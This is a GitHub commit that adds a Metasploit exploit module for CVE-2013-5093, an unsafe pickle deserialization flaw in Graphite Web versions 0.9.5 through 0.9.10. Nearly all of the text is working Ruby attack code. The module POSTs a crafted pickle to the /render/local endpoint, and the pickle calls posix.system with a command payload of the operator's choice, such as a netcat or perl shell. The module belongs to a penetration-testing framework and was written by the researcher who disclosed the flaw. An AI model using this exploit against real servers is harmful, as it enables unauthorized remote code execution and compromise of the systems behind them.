Skip to content

Commit 533d98b

Browse files
author
Charlie Eriksen
committed
Adding module for CVE 2013-5093, Graphite Web Exploit
1 parent 546c523 commit 533d98b

File tree

1 file changed

+78
-0
lines changed

1 file changed

+78
-0
lines changed
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Graphite Web Unsafe Pickle Handling',
18+
'Description' => %q{
19+
This module exploits a remote code execution vulnerability in the
20+
pickle handling of the rendering code in the Graphite Web project between
21+
version 0.9.5 and 0.9.10(both included).
22+
},
23+
'Author' =>
24+
[
25+
'Charlie Eriksen' # Initial discovery and exploit
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'CVE', '2013-5093'],
31+
[ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
32+
],
33+
'Platform' => 'unix',
34+
'Arch' => ARCH_CMD,
35+
'Privileged' => false,
36+
'Targets' => [ ['Automatic', {} ] ],
37+
'DisclosureDate' => 'Aug 20 2013',
38+
'DefaultTarget' => 0,
39+
'Payload' =>
40+
{
41+
'DisableNops' => true,
42+
'Space' => 16384,
43+
'Compat' =>
44+
{
45+
'PayloadType' => 'cmd',
46+
'RequiredCmd' => 'python generic telnet netcat perl ruby'
47+
}
48+
}))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
53+
], self.class)
54+
55+
end
56+
57+
def check
58+
response = send_request_cgi({
59+
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
60+
'method' => 'POST'
61+
})
62+
63+
if response.code != 200
64+
return Exploit::CheckCode::Appears
65+
end
66+
return Exploit::CheckCode::Safe
67+
end
68+
69+
def exploit
70+
data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
71+
response = send_request_cgi({
72+
'uri' => normalize_uri(target_uri.path, 'render', 'local'),
73+
'method' => 'POST',
74+
'data' => data
75+
})
76+
print_status("Sent exploit payload")
77+
end
78+
end

0 commit comments

Comments
 (0)